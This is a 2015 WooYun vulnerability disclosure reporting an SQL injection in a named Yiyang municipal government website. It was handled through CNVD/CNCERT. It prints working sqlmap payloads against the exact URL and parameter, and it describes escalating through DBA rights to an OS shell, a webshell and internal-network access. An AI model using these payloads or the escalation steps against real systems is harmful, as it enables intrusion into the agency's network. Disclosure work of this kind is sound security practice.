当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112283

漏洞标题：益阳市工商管理局sql注入可getshell危及内网

相关厂商：益阳市工商局

漏洞作者： ksss

提交时间：2015-05-22 12:00

修复时间：2015-07-11 09:18

公开时间：2015-07-11 09:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-22： 细节已通知厂商并且等待厂商处理中
2015-05-27： 厂商已经确认，细节仅向厂商公开
2015-06-06： 细节向核心白帽子及相关领域专家公开
2015-06-16： 细节向普通白帽子公开
2015-06-26： 细节向实习白帽子公开
2015-07-11： 细节向公众公开

简要描述：

益阳市工商管理局sql注入dba权限

详细说明：

http://www.iy315.cn/shownews.aspx?typeid=108&subid=144&articid=4385
网站在获取参数articid时未进行有效过滤导致了注入漏洞

Place: GET
Parameter: articid
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: typeid=108&subid=144&articid=4385' AND 8868=CONVERT(INT,(SELECT CHA
R(113)+CHAR(121)+CHAR(106)+CHAR(107)+CHAR(113)+(SELECT (CASE WHEN (8868=8868) TH
EN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(105)+CHAR(114)+CHAR(113
))) AND 'QOyc'='QOyc
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: typeid=108&subid=144&articid=4385'; WAITFOR DELAY '0:0:5'--
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: typeid=108&subid=144&articid=4385' WAITFOR DELAY '0:0:5'--
---
[10:53:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[10:53:24] [INFO] testing if current user is DBA
current user is DBA:    True


QQ图片20150505210422.jpg


注入点为dba权限
可以直接进入os shell在网站路径中写入webshell

QQ图片20150505210532.png


QQ图片20150505210707.png


可见网站在内网中，注入点为system权限，可直接添加用户，转发端口后内网漫游

漏洞证明：

QQ图片20150505210422.jpg


QQ图片20150505210532.png


QQ图片20150505210707.png

修复方案：

参数过滤

版权声明：转载请注明来源 ksss@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-05-27 09:16

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给湖南分中心，由其后续协调网站管理单位处置。

最新状态：

暂无